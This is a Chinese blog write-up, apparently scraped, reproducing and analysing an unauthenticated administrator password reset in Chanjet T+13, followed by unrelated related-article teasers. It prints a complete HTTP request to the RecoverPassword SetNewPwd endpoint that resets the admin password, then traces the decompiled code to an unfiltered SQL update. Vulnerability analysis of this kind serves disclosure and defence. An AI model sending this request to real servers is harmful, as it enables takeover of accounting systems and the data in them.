畅捷通T+13管理员密码任意重置漏洞

server/2024/12/25 13:16:20/

复现版本 畅捷通13

漏洞复现

POST /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=SetNewPwd HTTP/1.1
Host: 192.168.1.8:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1712566102,1712630297,1712717660; ASP.NET_SessionId=wnyq4w3zxafmow1ocmdx3t3b; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1712725555
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45{"pwdNew":"abf0ec7e667380f7976189fad249a178"}

在这里插入图片描述
可以看到返回true,成功修改
这里的密码写成md5在这里插入图片描述
我们来看看数据库中的值在这里插入图片描述
在这里插入图片描述
可以看到数据库中也是修改了的密码

漏洞分析

首先看重置密码的页面recoverpassword.aspx在这里插入图片描述
在这里插入图片描述
因为畅捷通都是预编译的,那么找到recoverpassword对应的dll文件在这里插入图片描述
打开在这里插入图片描述
保存至于visualstudio中更加友好

protected void Page_Load(object sender, EventArgs e)
{try{Utility.RegisterTypeForAjax(typeof(RecoverPassword));}catch (Exception exc){ExceptionHandlerFactory.GetExceptionHandler(exc).Handle(Page);}
}

Page_Load中有RegisterTypeForAjax,说明可以ajax调用,调用的类就是RecoverPassword,使用AjaxMethod可以在客户端异步调用服务端方法,简单地说就是在JS里调用后台文件里的方法,做一些JS
无法做到的操作,如查询数据库等

[AjaxMethod]
public bool SetNewPwd(string pwdNew)
{try{pwdNew = LoginService.EncodeMD5(pwdNew);pwdNew = LoginService.EncodeBase64(pwdNew);return accountService.RecoverSystemPassword(pwdNew);}catch (Exception ex){throw ex;}
}

SetNewPwd方法通过编码后进入RecoverSystemPassword,在这里插入图片描述
发现只有接口,找不到实现,那么实现不在这个dll中,去别的dll中找在这里插入图片描述
发现在Ufida.T.EAP.Account.BE.dll中,可以发现不在bin目录下,所以找的时候一定要覆盖全部代码目录,防止遗漏在这里插入图片描述
未进行任何过滤,直接拼接到sql语句中来更新管理员密码

那么我们就能通过ajax调用RecoverPassword类,那么寻找调用地址在这里插入图片描述
在这里插入图片描述
那么便有了上面的请求包


http://www.ppmy.cn/server/153044.html

相关文章

Mysql大数据量表分页查询性能优化

一、模拟场景 1、产品表t_product,数据量500万+ 2、未做任何优化前,cout查询时间大约4秒;LIMIT offset, count 时,offset 值较大时查询时间越久。 count查询 SELECT COUNT(*) AS total FROM t_product WHERE deleted = 0 AND tenant_id = 1 分页查询 SELECT * FROM t_…

每天40分玩转Django:Django表单集

Django表单集 一、今日学习内容概述 学习模块重要程度主要内容表单集基础⭐⭐⭐⭐⭐表单集定义、基本用法内联表单集⭐⭐⭐⭐⭐内联表单、关联数据表单集验证⭐⭐⭐⭐自定义验证、错误处理动态表单集⭐⭐⭐⭐动态添加删除表单 二、基本模型定义 # models.py from django.db…

启用Linux防火墙日志记录和分析功能

防火墙的基本功能是阻止来自可疑网络/来源的连接。它会检查所有连接的源地址、目的地址和端口,并决定是否允许或阻止流量。防火墙的每个操作都会记录为日志数据。监控和分析这些日志对于保护您的网络免受攻击至关重要。要这样做,您需要首先启用日志功能。以下是在Linux防火墙…

[创业之路-204]:《华为战略管理法-DSTE实战体系》- 5-平衡记分卡绩效管理

目录 一、平衡计分卡概述 1、平衡计分卡的基本概念 2、平衡计分卡的发展阶段 3、平衡计分卡在华为的应用 4、平衡计分卡的优缺点 五、财务(股东)、顾客(用户)、内部运营(内部)及学习与发展&#xff0…

微服务openfeign配置重试机制

场景: 1、在实际开发中,通过feign调用其他服务,如果出现read-timeout超时、或调用出现异常 2、如上问题,有时候可能是网络速度、网路抖动等原因导致超时异常,并非程序本身错误,所以可以配置openfeign重试…

ALPHA第四章 多态,接口,抽象类

在给出的选项中,错误的叙述是: 子类可以继承父类的构造函数 详细分析: 1. 子类可以继承父类的构造函数 错误的。 在 Java 中,子类不能继承父类的构造函数。构造函数是用来初始化对象的,因此构造函数是不能被继承的&a…

Linux -- 线程的优点、pthread 线程库

目录 线程的优点 pthread 线程库 前言 认识线程库 简单验证线程的独立栈空间 线程的优点 与进程之间的切换相比,线程之间的切换需要操作系统做的工作要少得多。 调度进程时,CPU 中有一个 cache(缓存,提高运行效率&#xff0…

Linux RTC 驱动框架

目录 一、实时时钟(RTC)介绍1.1 概述1.2 功能1.3 应用场景1.4 工作原理1.5 对外接口1.6 常见 RTC 芯片1.7 在 Linux 系统中的应用1.8 注意事项 二、Linux 内核 RTC 驱动框架2.1 相关源码文件介绍2.2 核心数据结构2.2.1 struct rtc_device2.2.2 rtc_class…